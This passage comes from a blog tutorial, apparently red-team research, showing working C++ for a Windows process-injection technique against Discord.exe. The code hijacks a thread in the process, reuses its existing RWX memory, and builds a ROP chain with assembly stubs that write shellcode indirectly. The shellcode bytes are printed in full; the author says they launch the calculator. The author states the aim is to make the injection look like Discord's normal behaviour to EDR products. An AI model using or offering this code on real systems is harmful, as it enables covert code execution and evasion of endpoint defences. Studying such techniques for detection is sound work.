                <span class="k">return</span> <span class="n">te</span><span class="p">.</span><span class="n">th32ThreadID</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">Thread32Next</span><span class="p">(</span><span class="n">snap</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">te</span><span class="p">));</span>
    <span class="p">}</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">snap</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The code below calls the <code class="language-plaintext highlighter-rouge">FindThreadID</code> function and then opens the hijacked thread, saving the handle to <code class="language-plaintext highlighter-rouge">hThread</code>.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DWORD</span> <span class="n">tid</span> <span class="o">=</span> <span class="n">FindThreadId</span><span class="p">(</span><span class="n">pid</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">tid</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"Failed to find thread</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Thread Id found!  ThreadID:"</span> <span class="o">&lt;&lt;</span> <span class="n">tid</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="n">OpenThread</span><span class="p">(</span>
    <span class="n">THREAD_ALL_ACCESS</span><span class="p">,</span>
    <span class="n">FALSE</span><span class="p">,</span>
    <span class="n">tid</span>
<span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hThread</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"OpenThread failed</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At this point, we have accomplished the following tasks as it pertains to LOTP artifacts:</p>

<ul>
  <li><strong>Using existing, running/active code within the process itself as ROP gadgets</strong></li>
  <li><strong>Use of existing/already created RWX memory</strong></li>
  <li><strong>Hijacking an existing Thread in the remote process</strong></li>
</ul>

<p>Let’s get a visual for what that looks like shall we?  So, here’s where we find the gadgets using our compiled code (I’ll share the full code later I promise 😸):</p>

<p><img width="494" height="225" alt="image" src="https://github.com/user-attachments/assets/860ae69b-37b2-473d-93eb-11faa6ff38ad" /></p>

<p>Next up, we need to pick the discovered RWX regions of memory available to the process.  I’m targeting <code class="language-plaintext highlighter-rouge">Discord.exe</code> as it’s very generous with providing pre-existing RWX memory 😺  Go ahead and follow the input prompts make your selections.  Just make sure when you pick the fake <code class="language-plaintext highlighter-rouge">stack memory</code>, that you pick an entry that is listed as <code class="language-plaintext highlighter-rouge">0x4000</code> or greater.  I’ve highlighted them in the visual below:</p>

<p><img width="492" height="255" alt="image" src="https://github.com/user-attachments/assets/731ecd92-7cb1-4298-937b-35e924081626" /></p>

<p>Once you make your selection, our program will then assign each respective allocated memory region to the appropriate variable.  We will also hijack the first thread we come across in the remote process.  Here’s how my selection process went:</p>

<p><img width="482" height="410" alt="image" src="https://github.com/user-attachments/assets/92618f1e-e703-48ba-a4ff-b55a39281e64" /></p>

<p>Next up, we need to build out our <code class="language-plaintext highlighter-rouge">ROP chain</code> and also generate some <code class="language-plaintext highlighter-rouge">assembly stubs</code> to handle increasing our <code class="language-plaintext highlighter-rouge">RAX</code> and <code class="language-plaintext highlighter-rouge">R8</code> register by 8 so we can cycle through all our shellcode in 8-byte chunks.  We also need to add the 8-byte shellcode chunks to our dedicated shellcode memory region, moving to the next 8th byte in memory until we write all the shellcode.  Oh, and it would help if I let you see the shellcode we’re using too 😆  I’ll show you that in the next section.  Let’s go!</p>

<h2 id="building-out-the-rop-chain">Building out the ROP Chain</h2>

<p>Okay, so now we are ready to start building out our ROP chain using the previously collected ROP gadgets, as well as creating some small assembly stubs to help with keeping track of where we are in our 8 byte shellcode chunks.  We also need to keep track of the memory address we’re copying/writing our shellcode stubs to.  It will also increment by 8 bytes.  Before I forget, here’s the shellcode we will be working with and copying in 8 byte chunks:</p>

<p>It’s just some custom shellcode I wrote myself that executes the Windows Calculator:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode_base</span><span class="p">[]</span> <span class="o">=</span>
<span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xec</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0xf0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x25</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0xe5</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc2</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xd1</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xb8</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0x96</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x87</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x9c</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xf7</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xc4</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x1c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0xe7</span><span class="p">,</span> <span class="mh">0xcc</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x1c</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc7</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xb8</span><span class="p">,</span> <span class="mh">0x9c</span><span class="p">,</span> <span class="mh">0x9e</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x9c</span><span class="p">,</span> <span class="mh">0xd1</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x87</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xf7</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe1</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xec</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xd7</span> <span class="p">};</span>
</code></pre></div></div>

<p>We start out by determining how many 8-byte chunks we need to create and also preparing our assembly stubs.  I’ll explain those in greater detail soon.  Both the ROP gadget chain and assembly stubs will be present within the gadget allocated memory region.  The gadgets will be at and the assembly stubs will be at <code class="language-plaintext highlighter-rouge">remoteGadgets + 0x800</code>.  Let’s check it out with some visuals and I’ll also include code to follow along with after the visuals.</p>

<p><img width="469" height="192" alt="image" src="https://github.com/user-attachments/assets/d0407aa1-02c6-4da8-8679-c6846a235b0e" /></p>

<p>At this point I’ve went into SystemInformer and opened up the Discord process running under PID 9292, navigated to the <code class="language-plaintext highlighter-rouge">Memory</code> tab, and copy and pasted the value for our <code class="language-plaintext highlighter-rouge">gadgets</code> memory address.</p>

<p><img width="1163" height="547" alt="image" src="https://github.com/user-attachments/assets/8d90286f-fadb-4cd8-8354-26e328df86c5" /></p>

<p>Double-click on the memory region once it shows up and you’ll see the entire ROP chain of all our gadgets, most of which are comprised of this gadget: <code class="language-plaintext highlighter-rouge">mov [rax], r8; ret</code> and the final <code class="language-plaintext highlighter-rouge">pop rsp, ret</code></p>

<p>In between each gadget address is the placeholder address for our assembly stub code cave</p>

<p><img width="924" height="200" alt="image" src="https://github.com/user-attachments/assets/244bcf78-37a3-499f-b290-a7c0aa8e466b" /></p>

<p>I can attach x64dbg to Discord and go to the first gadget address and see it does in fact point to our <code class="language-plaintext highlighter-rouge">mov [rax], r8; ret</code> gadget!  The stub address we won’t go to just yet.</p>

<p><img width="982" height="345" alt="image" src="https://github.com/user-attachments/assets/0348fea9-f49d-4fbd-a91a-22c2b83c043d" /></p>

<p>By the way, the final <code class="language-plaintext highlighter-rouge">pop rsp; ret</code> gadget (see code snippet below) will pop the address of the fake stack which will be pointing to the address of our shellcode after it’s written 😺  Sort of my inventive way of using a clean stack while executing shellcode in another memory region.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// After all the write gadgets...</span>
<span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">pgadget12</span><span class="p">);</span>  <span class="c1">// pop rsp; ret  </span>
<span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">safeStack</span><span class="p">);</span>  <span class="c1">// Set RSP to safe stack</span>
<span class="c1">// Now ret will pop the remoteShellcode address from safeStack + 0x3F00 and jump to the shellcode!</span>
</code></pre></div></div>

<p>Here’s the code for this entire section we’ve just covered above:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//**********************************************************</span>
<span class="c1">// ROP Gadgets Prepwork</span>
<span class="c1">//**********************************************************</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Building ROP chain with code caves for our assembly stubs..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="c1">// Calculate sizes</span>
    <span class="kt">size_t</span> <span class="n">addr_size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">);</span>
    <span class="kt">size_t</span> <span class="n">base_size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode_base</span><span class="p">);</span>
    <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="n">shellcode_base</span><span class="p">;</span>

    <span class="c1">// Calculate number of 8-byte chunks</span>
    <span class="kt">size_t</span> <span class="n">numChunks</span> <span class="o">=</span> <span class="p">(</span><span class="n">base_size</span> <span class="o">+</span> <span class="mi">7</span><span class="p">)</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Shellcode size: "</span> <span class="o">&lt;&lt;</span> <span class="n">base_size</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes ("</span>
        <span class="o">&lt;&lt;</span> <span class="n">numChunks</span> <span class="o">&lt;&lt;</span> <span class="s">L" chunks)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="c1">// Allocate memory for code stubs within gadgets region</span>
    <span class="c1">// Each stub needs ~21 bytes, opting to use 32 for safety and alignment</span>
    <span class="n">SIZE_T</span> <span class="n">stubsSize</span> <span class="o">=</span> <span class="n">numChunks</span> <span class="o">*</span> <span class="mi">32</span><span class="p">;</span>
    <span class="n">LPVOID</span> <span class="n">codeStubs</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPVOID</span><span class="p">)((</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">remoteGadgets</span> <span class="o">+</span> <span class="mh">0x800</span><span class="p">);</span> <span class="c1">// Offset within gadgets region</span>

    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Code stubs will be at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">codeStubs</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="c1">//********************************************</span>
    <span class="c1">// Build ROP chain</span>
    <span class="c1">//********************************************</span>
    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">DWORD64</span><span class="o">&gt;</span> <span class="n">ropChain</span><span class="p">;</span>
    <span class="kt">uintptr_t</span> <span class="n">stubAddr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">codeStubs</span><span class="p">;</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numChunks</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>  <span class="c1">// Skip first stub in ROP chain (executed via RIP)</span>
            <span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">(</span><span class="n">stubAddr</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">pgadget3</span><span class="p">);</span>     <span class="c1">// mov [rax], r8; ret</span>
        <span class="n">stubAddr</span> <span class="o">+=</span> <span class="mi">32</span><span class="p">;</span>
    <span class="p">}</span>
   
    <span class="c1">// After all the write gadgets...</span>
    <span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">pgadget12</span><span class="p">);</span>  <span class="c1">// pop rsp; ret  </span>
    <span class="n">ropChain</span><span class="p">.</span><span class="n">push_back</span><span class="p">((</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">safeStack</span><span class="p">);</span>  <span class="c1">// Set RSP to safe stack</span>
    <span class="c1">// Now ret will pop the remoteShellcode address from safeStack + 0x3F00 and jump to the shellcode!</span>

    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] ROP chain: "</span> <span class="o">&lt;&lt;</span> <span class="n">ropChain</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">" entries"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="c1">//********************************************</span>

    <span class="c1">// Write ROP chain to start of gadgets region</span>
    <span class="n">SIZE_T</span> <span class="n">bytesWritten</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">remoteGadgets</span><span class="p">,</span> <span class="n">ropChain</span><span class="p">.</span><span class="n">data</span><span class="p">(),</span>
        <span class="n">ropChain</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">*</span> <span class="nf">sizeof</span><span class="p">(</span><span class="n">DWORD64</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">bytesWritten</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] WriteProcessMemory (ROP chain) failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] ROP chain written! ("</span> <span class="o">&lt;&lt;</span> <span class="n">bytesWritten</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">get</span><span class="p">();</span>
</code></pre></div></div>

<p>Next up, we need to write our assembly stubs which will increment both RAX and R8 registers by 8 so each time we write our shellcode chunks (8 byte chunks), we go to the next shellcode chunk and next 8 bytes in memory for the shellcode memory address, respectively.</p>

<h2 id="writing-the-assembly-stubs-for-rax-and-r8">Writing the Assembly Stubs for RAX and R8</h2>

<p>Let’s dive in right where we left off.  Here’s a visual of the code execution for all the assembly stubs getting added to our dedicated Gadgets memory address at the 0x800 mark.  You can see the individual shellcode chunks in RAX and the shellcode memory address we’re writing to.  notice how the shellcode memory address is incremented by 8:</p>

<p><img width="424" height="518" alt="image" src="https://github.com/user-attachments/assets/eb03eb5d-e59e-40fa-961e-cf966e13fb54" /></p>

<p>Now, go back in to <code class="language-plaintext highlighter-rouge">x64dbg</code> which is still attached to our <code class="language-plaintext highlighter-rouge">Discord</code> process.  Copy the code stub address, and in Discord do another control + G, paste in that address, and hit enter.  You’ll see our assembly stubs!</p>

<p><img width="1209" height="574" alt="image" src="https://github.com/user-attachments/assets/03e1c58a-4963-40ea-b9d3-ceb4975c1a55" /></p>

<p>This is where the magic happens folks 😸  This is the indirect writing mechanism I discussed briefly earlier.  We will be indirectly writing our shellcode chunks into the dedicated shellcode memory using the <code class="language-plaintext highlighter-rouge">mov [rax], r8; ret</code> gadget and NOT WriteVirtualMemory.  It will appear to an EDR engine like this is just part of Discord’s normal functionality 😄</p>

<p>Well if you’ve made it this far I extend a massive kudos to you!  I know this is a lot to take in.  We’re almost there though.  First, here’s the code for this section:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//*************************************************</span>
<span class="c1">// Generate assembly stubs to set R8 and RAX</span>
<span class="c1">//*************************************************</span>
<span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Generating code stubs..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

<span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">&gt;</span> <span class="n">allStubs</span><span class="p">;</span>
<span class="kt">uintptr_t</span> <span class="n">writeAddr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">remoteShellcode</span><span class="p">;</span>

<span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numChunks</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Extract 8-byte chunk from shellcode</span>
    <span class="kt">uint64_t</span> <span class="n">chunk</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">size_t</span> <span class="n">bytesToCopy</span> <span class="o">=</span> <span class="n">min</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">base_size</span> <span class="o">-</span> <span class="p">(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">8</span><span class="p">));</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chunk</span><span class="p">,</span> <span class="n">shellcode_base</span> <span class="o">+</span> <span class="p">(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">8</span><span class="p">),</span> <span class="n">bytesToCopy</span><span class="p">);</span>

    <span class="c1">// Build stub:</span>
    <span class="c1">// mov r8, &lt;chunk&gt;      ; 10 bytes: 49 B8 [qword]</span>
    <span class="c1">// mov rax, &lt;writeAddr&gt; ; 10 bytes: 48 B8 [qword]</span>
    <span class="c1">// ret                  ; 1 byte:  C3</span>

    <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">stub</span><span class="p">[</span><span class="mi">32</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
    <span class="kt">int</span> <span class="n">offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// mov r8, imm64</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x49</span><span class="p">;</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xB8</span><span class="p">;</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">chunk</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
    <span class="n">offset</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>

    <span class="c1">// mov rax, imm64</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x48</span><span class="p">;</span>
    <span class="n">stub</span><span class="p">[</span><span class="n">offset</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xB8</span><span class="p">;</span>
